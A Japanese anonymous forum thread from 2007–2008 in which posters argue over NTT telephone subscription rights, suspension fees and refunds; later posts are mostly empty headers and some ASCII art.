電話を止めるのに休止工事費なんて代物はないぞ
それと、電話加入権は質屋などで取引きされてきた過去があるわけで
NTTとしてもレンタルなどど称して不動産的扱いをしながら収入を得たりもしてるしな
社会通念上も民法上も所有権として立派な権利物ですよ
こうした過去を無視して全くの無権利の代物に貶めてるのは詐欺ですね
ということで、徹底的に抗戦するのがベストということで、休止してやりましょう皆さん
0882名無しさんに接続中…
2007/08/04(土) 08:42:36ID:XNk6tW5U親切な俺がきましたよ。>>879ではないです。
＞電話を止めるのに休止工事費なんて代物はないぞ
休止工事費はある。廃止にすれば工事費は発生しない。
http://web116.jp/shop/annai/sin/sinki_05.html
＞社会通念上も民法上も所有権として立派な権利物ですよ
電話加入権質に関する特例法による質権設定をするまでは
物件的性格はないものです。
0883名無しさんに接続中…
2007/08/04(土) 09:02:30ID:zErUgQ6tバカ丸出し
IP電話や直収電話、CATV電話等を選び放題な時代に、
NTT固定電話とその権利なんかに固執する意味なんて全く無いだろ
>>879と>>881、どっちがNTT関係者だよ(藁
0884名無しさんに接続中…
2007/08/04(土) 09:31:33ID:XNk6tW5U電話加入権を温存すべきと主張するのはNTT関係者でも電話利用者でもないよ。
電話加入権がなくなって損するのは唯一貸金業者だからね。
0885名無しさんに接続中…
2007/08/04(土) 13:40:12ID:2C2ibk3p>NTTの加入権つきの固定電話との併用をお奨めします。
確かに貸金業者のイチオシだよな。
0886名無しさんに接続中…
2007/08/24(金) 23:10:39ID:GUdTMnSM７２０００円返しますって状況はここ数年ではなさそうですか？
当時のＮＴＴ職員が言った、お金はお返します発言は、詐欺と認定されない冗談でＦＡですか？
0887名無しさんに接続中…
2007/08/24(金) 23:49:44ID:nXpKO47Vhttp://it.nikkei.co.jp/business/news/index.aspx?n=AS3S10025%2010082007
固定電話の全国一律サービス、09年廃止・総務省
0888名無しさんに接続中…
2007/08/25(土) 13:06:58ID:pEQLvCkN不要になった電話加入権は買い取って全額返却しますなんてどこの契約書に書いてんだよ
電信電話公債を返してもらってないなら同意だが
0889名無しさんに接続中…
2007/08/25(土) 19:20:06ID:tVsuyRYs「施設設置負担金」と「電話加入権」は別物だよ。
「施設設置負担金」を支払った者に対して、無償で与えられる権利が「電話加入権」。
0890名無しさんに接続中…
2007/08/25(土) 22:37:11ID:OBDiLUNjこれはユニバーサルサービス料の話で、電話加入権と関係ないし・・・
0891名無しさんに接続中…
2007/08/26(日) 01:59:21ID:dqztou4r>これはユニバーサルサービス料の話で
NTTユニバーサルサービスの提供義務が消滅する話しだろう、よく読め。
提供義務がなくなるのに、加入側が権利主張して何の意味があるのか？
0892名無しさんに接続中…
2008/01/06(日) 22:11:05ID:ayazW+Eu電話加入権を売ってしまったら、
現在の番号は使用できませんか？
0893名無しさんに接続中…
2008/01/09(水) 20:18:12ID:y+BV9eEL0894名無しさんに接続中…
2008/01/17(木) 17:27:30ID:4To1Tleu何でもかんでもいろりろ存在するけど、こういうシステムは禁止すべきでしょう。
0895名無しさんに接続中…
2008/04/11(金) 23:00:12ID:x+0nkQin0896名無しさんに接続中…
2008/04/25(金) 21:10:29ID:uxWX7Kee0897名無しさんに接続中…
2008/05/11(日) 00:28:41ID:VZ3utsYA0898名無しさんに接続中…
2008/06/28(土) 23:56:32ID:+6gF8SEz0899名無しさんに接続中…
2008/07/30(水) 19:48:00ID:dgtmVaT00900三村
2008/08/22(金) 23:43:42ID:9RsjBvSs0901名無しさんに接続中…
2008/08/23(土) 00:54:50ID:DkZo4E6q0902名無しさんに接続中…
2008/08/23(土) 08:56:09ID:Ag4Qs03Q0903名無しさんに接続中…
2008/12/15(月) 10:30:40ID:8FieS1Lm0904名無しさんに接続中…
2008/12/15(月) 10:32:33ID:8FieS1Lm0905名無しさんに接続中…
2008/12/16(火) 18:25:45ID:1dCQ7RnH0906名無しさんに接続中…
2008/12/16(火) 18:27:41ID:1dCQ7RnH0907名無しさんに接続中…
2008/12/16(火) 18:29:34ID:1dCQ7RnH0908名無しさんに接続中…
2008/12/16(火) 20:53:09ID:1dCQ7RnH0909名無しさんに接続中…
2008/12/16(火) 20:53:53ID:1dCQ7RnH0910名無しさんに接続中…
2008/12/16(火) 20:55:15ID:1dCQ7RnH0911名無しさんに接続中…
2008/12/16(火) 20:55:54ID:1dCQ7RnH0912名無しさんに接続中…
2008/12/16(火) 20:56:37ID:1dCQ7RnH0913名無しさんに接続中…
2008/12/17(水) 07:18:28ID:2meSHBxg0914名無しさんに接続中…
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2008/12/17(水) 16:03:38ID:2meSHBxg0918名無しさんに接続中…
2008/12/18(木) 09:11:11ID:D83Gq0uS0919名無しさんに接続中…
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2008/12/19(金) 08:53:44ID:vyFB1abn0923名無しさんに接続中…
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2008/12/20(土) 11:58:57ID:i2GiEWFMo ０ o ｡ o ０ ０ o o ｡ o ０
０ | できたよわっしょい！雪だるまワッショイ！ o ０ ０
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0935名無しさんに接続中…
2008/12/20(土) 12:17:35ID:QnvdKb4l0936名無しさんに接続中…
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2008/12/20(土) 19:34:07ID:i2GiEWFMo ０ o ｡ o ０ ０ o o ｡
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０ o ｡
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2008/12/21(日) 04:34:05ID:uaqEfzVi0945名無しさんに接続中…
2008/12/21(日) 04:34:44ID:uaqEfzVi0946名無しさんに接続中…
2008/12/21(日) 10:27:34ID:7hEx6WlS0947名無しさんに接続中…
2008/12/21(日) 11:53:45ID:7hEx6WlS0948名無しさんに接続中…
2008/12/21(日) 13:33:40ID:7hEx6WlS0949名無しさんに接続中…
2008/12/21(日) 14:16:57ID:7hEx6WlS0950名無しさんに接続中…
2008/12/21(日) 14:46:11ID:7hEx6WlS| ここでボケて！！！ |
|＿＿＿＿＿＿＿＿＿|
∧∧ ||
( ﾟдﾟ)||
/ づΦ
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2008/12/21(日) 16:07:15ID:7hEx6WlS0952名無しさんに接続中…
2008/12/21(日) 17:54:55ID:jvt2rLgo0953名無しさんに接続中…
2008/12/21(日) 20:22:50ID:1gxHnFNf∨）
（（
0954名無しさんに接続中…
2008/12/21(日) 21:10:58ID:1gxHnFNf0955名無しさんに接続中…
2008/12/21(日) 21:25:38ID:1gxHnFNf0956名無しさんに接続中…
2008/12/22(月) 03:43:13ID:zAYI3Z4i0957名無しさんに接続中…
2008/12/22(月) 04:34:04ID:zAYI3Z4i0958名無しさんに接続中…
2008/12/22(月) 08:05:02ID:zAYI3Z4i0959名無しさんに接続中…
2008/12/22(月) 08:56:05ID:zAYI3Z4i0960名無しさんに接続中…
2008/12/22(月) 09:09:48ID:Z+itagpg0961名無しさんに接続中…
2008/12/22(月) 09:47:13ID:Z+itagpg0962名無しさんに接続中…
2008/12/22(月) 09:48:32ID:zAYI3Z4i0963名無しさんに接続中…
2008/12/22(月) 10:07:26ID:zAYI3Z4i0964名無しさんに接続中…
2008/12/22(月) 11:09:10ID:zAYI3Z4i0965名無しさんに接続中…
2008/12/22(月) 11:20:39ID:Z+itagpg0966名無しさんに接続中…
2008/12/22(月) 11:29:16ID:zAYI3Z4i0967名無しさんに接続中…
2008/12/22(月) 11:29:52ID:zAYI3Z4i0968名無しさんに接続中…
2008/12/22(月) 11:30:50ID:zAYI3Z4i0969名無しさんに接続中…
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